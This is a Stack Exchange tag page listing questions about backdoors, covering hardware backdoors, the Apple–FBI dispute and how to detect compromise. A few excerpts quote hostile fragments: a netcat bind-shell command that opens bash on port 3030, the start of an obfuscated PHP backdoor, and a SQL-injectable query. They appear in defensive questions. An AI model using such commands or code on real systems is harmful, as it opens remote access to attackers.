Stack Exchange Network

Stack Exchange network consists of 175 Q&A communities including Stack Overflow, the largest, most trusted online community for developers to learn, share their knowledge, and build their careers.

Visit Stack Exchange

Questions tagged [backdoor]

A backdoor is a method of bypassing normal authentication, securing illegal remote access to a computer while attempting to remain undetected.

350
votes
22answers
300k views

I found that the company I work for is putting a backdoor into mobile phones

I have found out recently that the remote assistant software that we put in a smartphone we sell can be activated by us without user approval. We are not using this option, and it is probably there ...
175
votes
11answers
30k views

Search for military installed backdoors on laptop

My laptop was confiscated by the military institute of my country and they made me to give them all my passwords (I cannot tell you the name of my country). They did not give it back to me for one ...
166
votes
6answers
21k views

Apple's open letter - they can't or won't backdoor iOS?

Apple released an open letter to the public outlining their reasons for not complying with the FBI's demands to modify the iPhone's security mechanism. Here's a summary: The FBI has an iPhone in ...
91
votes
7answers
5k views

How do I know a piece of software only does what the author claims?

Without being a programmer or a computer expert, how can I know if a particular program or any piece of software in general doesn't have hidden unwanted functions compromising privacy and security?
76
votes
9answers
20k views

Is it theoretically possible to deploy backdoors on ports higher than 65535?

Assuming you were able to modify the OS/firmware/device for server/client to send and listen on ports higher than 65535, could it be possible to plant a backdoor and have it listen on, say, port 70000?...
68
votes
6answers
48k views

How do large companies protect their source code?

I recently read the canonical answer of our ursine overlord to the question on How do certification authorities store their private root keys? I then just had to ask myself: How do large companies (e....
48
votes
5answers
5k views

What does Mark Shuttleworth mean by “we have root”?

In a blog post in response to the Amazon privacy controversy, Mark Shuttleworth wrote: Don’t trust us? Erm, we have root. You do trust us with your data already. You trust us not to screw up on ...
46
votes
1answer
4k views

Can the previewable option in file managers execute malware?

I am using Nemo file manager and I enabled the Previewable files option that shows video/photo files with their thumbnails: I don't know exactly how files managers generate thumbnails, but I am ...
31
votes
1answer
1k views

Any known cases of government backdoors creating exploitable security holes? [closed]

As the Apple v FBI battle unfolds, government backdoors will become a hot topic. As background to that, I have two questions: Are there any known cases where governments have forced tech companies to ...
29
votes
1answer
16k views

Consequences of tampered /etc/ssh/moduli

What are the consequences if an attacker is able to modify the /etc/ssh/moduli file?
28
votes
5answers
4k views

What can I do about the Intel Management Engine?

I recently read about the Intel ME (Management Engine), which is a special area in new Intel processors that has complete control over the computer. Nobody knows exactly what it contains, and there ...
26
votes
1answer
16k views

Is this a backdoor?

I found the code below on my customers site. It looks like a typical backdoor hidden with hexadecimal, but I'm not 100% sure. <?php if(!isset($GLOBALS["\x61\156\x75\156\x61"])) { $ua=strtolower($...
24
votes
2answers
2k views

What does the Juniper backdoor actually allow an attacker to do?

The Juniper ScreenOS backdoor recently discovered provides administrative access to these firewalls, but in terms of access to valuable data can it actually provide an attacker with anything useful ...
23
votes
7answers
6k views

What stops a developer from accessing credit card details and other secret data from a company

First of all, I'm sorry if this has been discussed many times. I read many posts about PCI compliance but there are some small things I'm not quite sure about. Suppose there is Mr. GoodGuy, an ...
16
votes
10answers
6k views

Would an encryption scheme that generates an extra key to be securely stored offsite be a safe backdoor?

Let me be clear first and foremost: I do not think installing a backdoor in security algorithms is a good idea. They undermine the trust in the software and in the company that provides the service. ...
16
votes
3answers
20k views

Detecting and removing Absolute persistance technology

Absolute persistance technology amounts to a persistent rootkit pre-installed by many device manufacturers (Acer, Asus, Dell, HP, Lenovo, Samsung, Toshiba, etc) to facilitate LoJack for laptops, and ...
15
votes
2answers
6k views

How do backdoors work? [closed]

I always hear about backdoors and I understand the main purpose but I have some questions: In what kind of software/web application/OS can I find them ? How can I recognize one ? How do I prevent ...
14
votes
3answers
2k views

Why can't apple simply add the backdoor now and then remove it after the FBI is done?

Summary of the current situation by @TTT Apple released an open letter to the public outlining their reasons for not complying with the FBI's demands to modify the iPhone's security mechanism. ...
14
votes
3answers
4k views

How would a backdoor gain persistence

I know that if you were to gain access to a system and restart it, an implanted backdoor would be killed. Or if you were to locate the backdoor in task manager you would be able to kill it. However, I'...
14
votes
1answer
4k views

How can anyone access Intel's “backdoor OS”, MINIX?

I've read that all recent Intel-based machines include a secret MINIX-based OS, and that it even includes its own web-server. How does one access this OS's services from the main OS? Its purpose ...
13
votes
2answers
8k views

How to disable Intel ME?

After reading about Intel ME containing secret backdoors, I would like to know if it is possible to disable Intel ME?
12
votes
5answers
38k views

How can I detect backdoors?

I have a machine running Mac OS X and I suspect there may be a backdoor installed. I know that I could take it to a professional security firm for analysis, or nuke it from orbit, but I'm interested ...
9
votes
2answers
1k views

Are (Intel) chipsets spying on us?

I had a conversation yesterday where someone claimed that I should only use (Intel) computers from before 2006. This was allegedly because after this, software has been embedded in the chipsets that ...
9
votes
2answers
2k views

Is it possible to examine a Huawei device to answer definitively whether or not there is a security risk?

There has been a lot of news lately, and in the last few years, about Huawei being a security risk. Can someone explain what the basis is for the risk, other than speculation? Is there not a way to ...
9
votes
6answers
18k views

Is blocking UDP and TCP sufficient to prevent unwanted network activity?

I want to be 100% sure that my machine only connects where and when I want it to. If I use a firewall that blocks all UDP and TCP packets but those that I explicitly allow to pass, can I be 100% sure ...
8
votes
3answers
3k views

Why can't the FBI copy the contents of an iPhone they are trying to crack?

Making the news rounds now is a story about the courts ordering Apple to disable the automatic deletion of data after 10 failed password guesses. What I don't understand is, why doesn't the FBI just ...
8
votes
2answers
883 views

How are Intel/Amd Microcode Issues Delivered? Is it possible to block them?

After reading this article, I am really curious as to how, exactly processor microcode updates from Intel or AMD are issued. In what way is the data transmitted? Is it possibly to 'firewall' these ...
7
votes
3answers
9k views

backdoors in hardware (ie. intel/amd cpu) possible? [closed]

There are several reports about hardware based attacks on IT-security as for instance those here: http://wccftech.com/intel-possibly-amd-chips-permanent-backdoors-planted-nsa/ http://www.afr.com/p/...
7
votes
2answers
279 views

Software can be audited, is there an equivalent for hardware?

In software, code auditing can be used as a mean to gain trust into a software. Of course closed, proprietary software would complicate this, and require to do reverse engineering. Anyway there seems ...
6
votes
1answer
2k views

Find the security hole on my site and prevent it [duplicate]

Last day I've noticed that my wordpress site is hacked and a PHP backdoor shell is installed on my site. Virus scanner reported that a plugin file is inside my wp-content/uploads which I did not ...
6
votes
1answer
3k views

Hiding backdoors in Open Source code in other languages than C and C++?

I am referring to The Underhanded C Contest and Hiding Backdoors in plain sight. They demonstrate, that you can with some cleverness, write Open Source code, publish the code and hide a backdoor in ...
6
votes
1answer
554 views

Firmware Backdoor Protection

http://en.wikipedia.org/wiki/Advanced_Configuration_and_Power_Interface#Security_Risk Ubuntu Linux founder Mark Shuttleworth has likened ACPI to Trojan horses.[28] He has described proprietary ...
6
votes
1answer
820 views

Is Intel i3 CPU affected by the Intel ME vulnerability?

Hello I have an Intel® Core™ i3-2328M CPU @ 2.20GHz computer processor (I think Sandy Bridge). https://ark.intel.com/products/70927/Intel-Core-i3-2328M-Processor-3M-Cache-2_20-GHz I have heard about ...
6
votes
2answers
2k views

Backdoors after SQL injection?

I just found an injection vulnerability on a live site of a client. It looks like this: $sql = "SELECT * FROM users_dl WHERE Username = '" . $Uname . "' AND Password = '" . $Pword . "'"; I ...
5
votes
6answers
1k views

Could a computer program be used to automate testing for trapdoors?

Could a computer program given the source or object version of another program be used to automate testing for trapdoors/backdoors?
5
votes
3answers
1k views

BadUSB: Why are firmware writeable in the first place? Manufacturer's backdoor?

How many of you have actually updated their mouse, keyboard or USB stick firmware? How many vendor actually propose updates for such devices? However these devices firmware often offer a proprietary ...
5
votes
2answers
8k views

Finding a backdoor on a server?

Let's say I hire someone (freelance), for IT work on an Ubuntu server. The server has a good firewall, I run clamav, chkrootkit & rkhunter scans weekly, and I try to keep good practices. The ...
4
votes
2answers
360 views

How can Linux be secure if it allows for open source contributions from the public?

From my brief understanding of Linux, developers from around the globe submit code to be included into a Linux update. It's then reviewed by security administrators. When approved, it's passed onto ...
4
votes
5answers
606 views

What is the security flaw in this example of “magic parameters”?

I am reading OWASP Testing Guide v3: Example 1: Magic Parameters Imagine a simple web application that accepts a name-value pair of “magic” and then the value. For simplicity, the GET request ...
4
votes
2answers
898 views

How can I find the malicious/backdoor codes without knowing the last modified date?

Last night my website got hacked and attacker edited the main index.php. I was wondering even he edited that file, the last modified date did not change. so I just worry if he would put the backdoor ...
4
votes
3answers
2k views

Is Bitlocker trustworthy?

My question isn't about whether or not the encryption on Bitlocker works, but whether or not there has been any security audits about potential backdoors Microsoft may have installed. I don't have a ...
4
votes
3answers
1k views

How to protect against backdoors in routers?

Recently, I started looking for a wireless router. Before considering specific products, I looked up some general information about different brands offering such routers. To my dismay, I learned that ...
4
votes
2answers
309 views

Purely as a technical matter, is it possible to make otherwise-strong encryption implemetations that contain governmental backdoors?

So to be clear right-off-the-bat: I think re-designing modern encryption to include governmental "backdoors" is, on balance, a quite bad idea, for any number of good reasons. Nor (FWIW) do I actually ...
4
votes
2answers
2k views

I found what, I believe, is a backdoor in my home router, what should I do?

My country doesn't have any laws regarding this subject (Brazil). And I don't want to disclose it to the police, it's more likely they will just keep it to themselves. What should I do?
4
votes
2answers
216 views

What is a “roving” backdoor?

What is a "roving" backdoor? I understand the general concept of a backdoor. Emphasis on keyword qualifier: "roving"...
4
votes
2answers
162 views

The risks of choosing a browser [closed]

I just tried Chromium, which in its fast rendering and lightweight feel really appealed to me, so I considered switching. But looking at the project, I see that the Chromium project has strong links ...
4
votes
4answers
259 views

Is there a standard for labeling a vulnerability as an intentional backdoor?

US concerns of intentional vulnerabilities placed in foreign manufactured equipment has lit up headlines. Is there a standard that sorts (differentiates) poor-designs from intentionally placed ...
4
votes
1answer
737 views

Persistent back door using Netcat

I have found the following command several times in one of the linux servers during an assessment: nc -l -p 3030 -e /bin/bash This enables a hacker to gain control over this sever via bash. By ...
4
votes
1answer
453 views

Can a running interpreted program cryptographically prove it is the same as as a published source code version?

Can a running interpreted program, for example in languages like python, javascript, ruby, java or php, cryptographically prove that it is the same as a published source code version in a way that ...
4
votes
1answer
3k views

Run NetCat as bat file instead of exe

I need to run a netcat on a remote lab machine. I can execute remote commands through the browser with Administrator rights (because of the application vulnerability) but I don't have access to the ...